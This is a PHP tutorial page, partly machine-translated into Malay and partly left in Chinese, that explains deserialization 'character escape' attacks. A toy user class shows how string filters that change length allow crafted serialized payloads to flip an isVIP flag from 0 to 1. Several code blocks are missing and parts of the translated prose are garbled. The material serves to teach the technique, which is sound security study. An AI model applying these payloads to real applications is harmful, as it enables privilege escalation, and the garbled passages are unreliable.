Rumah >pembangunan bahagian belakang >tutorial php >Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP

Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP

青灯夜游
青灯夜游ke hadapan
2021-08-24 19:18:023454semak imbas

Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP

Prinsip pelarian watak penyahserialisasian PHP

Apabila pembangun mensirikan objek terlebih dahulu, dan kemudian mensirikan objek dalam objek Aksara adalah ditapis dan akhirnya dinyahsiri. Pada masa ini, mungkin terdapat kelemahan dalam pelarian aksara penyahserialisasian PHP.

Penjelasan terperinci tentang pelarian watak penyahserialisasian PHP

Untuk pelarian watak penyahserialisasian PHP, kami akan membincangkannya dalam dua situasi berikut.

  • Terdapat lebih banyak aksara selepas penapisan

  • Ada lebih sedikit aksara selepas penapisan

Selepas menapis, terdapat lebih banyak aksara

Katakan kita mentakrifkan kelas user dahulu, dan kemudian terdapat sejumlah 3 pembolehubah ahli di dalamnya: username, password, isVIP.

class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}

Anda boleh melihat bahawa apabila kelas ini dimulakan, pembolehubah isVIP menjadi lalai kepada 0 dan tidak dipengaruhi oleh parameter yang dihantar semasa pemula.

Seterusnya, siarkan kod lengkap untuk memudahkan analisis kami.

Output program ini adalah seperti berikut:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

Seperti yang anda lihat, pembolehubah isVIP selepas siri objek ialah 0.

Pada masa ini kami menambah fungsi untuk menggantikan watak admin, menggantikan admin dengan penggodam Fungsi penggantian adalah seperti berikut:

function filter($s){
return str_replace("admin","hacker",$s);
}

Jadi keseluruhan program adalah seperti berikut:

Output program ini ialah:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Pada masa ini, mari kita bandingkan output kedua-dua program ini:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤
Anda boleh lihat

Rentetan dalam yang ditapis tidak sepadan dengan panjang aksara sebelumnya hacker

s:5:"admin";
s:5:"hacker";
Pada masa ini, bagi kami, apabila mencipta objek baharu,

yang masuk adalah boleh dikawal Kami pembolehubah admin

Seterusnya kita jelaskan matlamat kita: ubah suai nilai pembolehubah

kepada isVIP1

Mula-mula kita tukar

subrentetan sedia ada Bandingkan dengan sasaran subrentetan:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
Dengan kata lain, kita perlu menyuntik

subrentetan sasaranadmin 🎜>. Mula-mula hitung panjang

subrentetan sasaran yang perlu kita suntik

:

kerana panjang rentetan yang perlu kita lepaskan ialah
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的长度为47
, dan

Selepas setiap penapisan, ia akan menjadi 47, yang bermaksud setiap kali admin muncul, akan ada lebih banyak hacker aksara. admin1Jadi kami mengulangi

47

kali admin pada pembolehubah boleh dikawal, dan kemudian tambahkan subrentetan sasaran kami yang dilepaskan Pembolehubah boleh dikawal diubah suai seperti berikut:

Kod lengkap adalah seperti berikut:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

Hasil keluaran program ialah:

Kita boleh mengira bilangan
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
penggodam

secara keseluruhannya terdapat 47godamr, dengan jumlah 282 aksara, yang betul-betul sepadan dengan 282 sebelumnya. Subrentetan yang disuntik di belakang juga hanya melengkapkan pelarian.

Selepas penyahserilan, subrentetan berlebihan akan dibuang

Kami kemudiannya menyahsiri hasil bersiri dan kemudian mengeluarkannya Kod lengkapnya adalah seperti berikut:

Output atur cara adalah seperti berikut:

Anda boleh melihat bahawa pada masa ini, pembolehubah
object(user)#2 (3) {
  ["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}
menjadi

, dan tujuan penyahserikatan watak melarikan diri tercapai. isVIP1

Kurang aksara selepas penapisanDi atas menerangkan situasi di mana terdapat lebih banyak aksara dalam pelarian aksara penyahserialisasian PHP.

Perkara berikut mula menerangkan situasi di mana watak penyahserialisasian kurang melarikan diri.

Pertama sekali, kod badan utama masih sama seperti di atas, masih kelas yang sama Bezanya dalam fungsi penapis, kita menukar penggodam kepada menggodam.

Kod lengkap adalah seperti berikut:

Dapatkan hasil:

Juga bandingkan
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
subrentetan sedia ada

dan Rentetan subrentetan sasaran :

Kerana semasa penapisan,
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
5

aksara telah dipadamkan kepada 4 aksara, jadi ia bertentangan dengan situasi di atas di mana terdapat lebih banyak aksara , apabila bilangan admin bertambah, subrentetan sedia ada akan diindenkan selepasnya. Kira panjang

subrentetan sasaran

:

Kemudian hitung panjang rentetan kepada pembolehubah boleh dikawal seterusnya
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串
//长度为47
dalam

: Kod lengkap adalah seperti berikut: (Terdapat sejumlah

22 pentadbir
";s:8:"password";s:6:"
//长度为22
dalam pembolehubah di sini)

Hasil keluaran: Nota: Mekanisme penyahserikatan PHP ialah, sebagai contoh, jika terdapat 10 aksara yang dinyatakan di hadapan, tetapi hanya 9 dibaca, ia akan menjadi tanda petikan berganda, pada masa ini PHP akan menganggap petikan berganda sebagai aksara ke-10, yang bermaksud bahawa ia tidak menilai sama ada rentetan telah berakhir berdasarkan petikan berganda, tetapi membaca rentetan mengikut kepada nombor yang ditetapkan sebelum ini.

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

完整代码为:

输出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。

修改后代码如下:

输出结果为:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下输出结果:

Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP

可以看到,这一下就对了。

我们将对象反序列化然后输出,代码如下:

得到结果:

object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了

推荐学习:《PHP视频教程

Atas ialah kandungan terperinci Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:合天网安实验室. Jika ada pelanggaran, sila hubungi admin@php.cn Padam